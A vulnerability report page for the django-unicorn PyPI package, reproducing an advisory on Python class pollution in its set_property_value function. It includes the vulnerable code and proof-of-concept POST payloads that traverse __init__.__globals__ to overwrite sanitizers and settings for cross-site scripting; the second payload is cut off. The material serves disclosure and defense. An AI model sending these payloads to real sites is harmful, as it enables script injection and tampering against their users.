pypi package report

Is django-unicorn safe?

4 known vulnerabilities, worst severity CRITICAL.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      No published models are known to use this package.


      cvss
      9.3
      critical

      CVSS v4.0 base score out of 10

      epss
      0.49%
      medium

      chance of exploitation in 30 days, 42nd percentile of all CVEs

      xyz score
      4.0
      medium

      CyberXYZ composite out of 10

      fig. 01 — GHSA-g9wf-5777-gq43, the advisory selected below

      // 4 advisories

      GHSA-g9wf-5777-gq43

      CRITICALGitHub ratingCVE-2025-24370
      // summary

      Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.

      At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

      // analysis of vulnerable function

      By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.

      The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.

      # https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
      def set_property_value(
          component,
          property_name,
          property_value
      ) -> None:
          ...
          property_name_parts = property_name.split(".")
          component_or_field = component
          ...
          for idx, property_name_part in enumerate(property_name_parts):
              if hasattr(component_or_field, property_name_part):
                  if idx == len(property_name_parts) - 1:
                      ...
                      setattr(component_or_field, property_name_part, property_value)
                      ...
                  else:
                      component_or_field = getattr(component_or_field, property_name_part)
                      ...
              elif isinstance(component_or_field, dict):
                  if idx == len(property_name_parts) - 1:
                      component_or_field[property_name_part] = property_value
      				...
                  else:
                      component_or_field = component_or_field[property_name_part]
      				...
              elif isinstance(component_or_field, (QuerySet, list)):
                  property_name_part_int = int(property_name_part)
      
                  if idx == len(property_name_parts) - 1:
                      component_or_field[property_name_part_int] = property_value  # type: ignore[index]
                      ...
                  else:
                      component_or_field = component_or_field[property_name_part_int]  # type: ignore[index]
                      ...
              else:
                  break

      Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.

      POST /unicorn/message/COMPONENT_NAME
      
      {
          "id": 123,
          "actionQueue":[
              {
                "type": "syncInput",
                "payload": {
                "name": "DOTTED_PATH",
                "value":"ASSIGNED_VALUE"
                }
          		}
          ],
          "data": {XXX},
          "epoch": "123",
          "checksum": "XXXX"
      }

      You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.

      However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.

      With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.

      The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.

      > Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

      // #1 reflected cross-site scripting by overwriting bs4 html sanitizer

      Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.

      While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.

      POST /unicorn/message/todo HTTP/1.1
      
      {
        "id": 123,
        "actionQueue": [
          {
            "type": "syncInput",
            "payload": {
              "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
              "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
            }
          }
        ],
        "data": {
          "task": "",
          "tasks": []
        },
        "epoch": "123",
        "checksum": "XXX"
      }

      In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.

      // #2 stored cross-site scripting by overwriting unicorn setting and [django](https://github.com/django/django) json script sanitizer

      There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.

      However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.

      Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.

      By polluting this variable to clear it out, you finally achieve a stored XSS attack.

      PoC:

      POST /unicorn/message/todo HTTP/1.1
      
      {
        "id": "3gpDSUcxzs1",
        "data": {
          "task": "",
          "tasks": []
        },
        "checksum": "XXX",
        "actionQueue": [
          {
            "type": "syncInput",
            "payload": {
              "name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
              "value": [
                "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
      // cvss v4.0 vector

      CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

      Attack vector
      Network
      Attack complexity
      Low
      Attack requirements
      None
      Privileges required
      None
      User interaction
      None
      Confidentiality (vulnerable system)
      High
      Integrity (vulnerable system)
      High
      Availability (vulnerable system)
      High
      Confidentiality (subsequent systems)
      None
      Integrity (subsequent systems)
      None
      Availability (subsequent systems)
      None

      Checked 2026-11-07 at 23:17 UTC. The most recent advisory here was published 2026-03-11. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.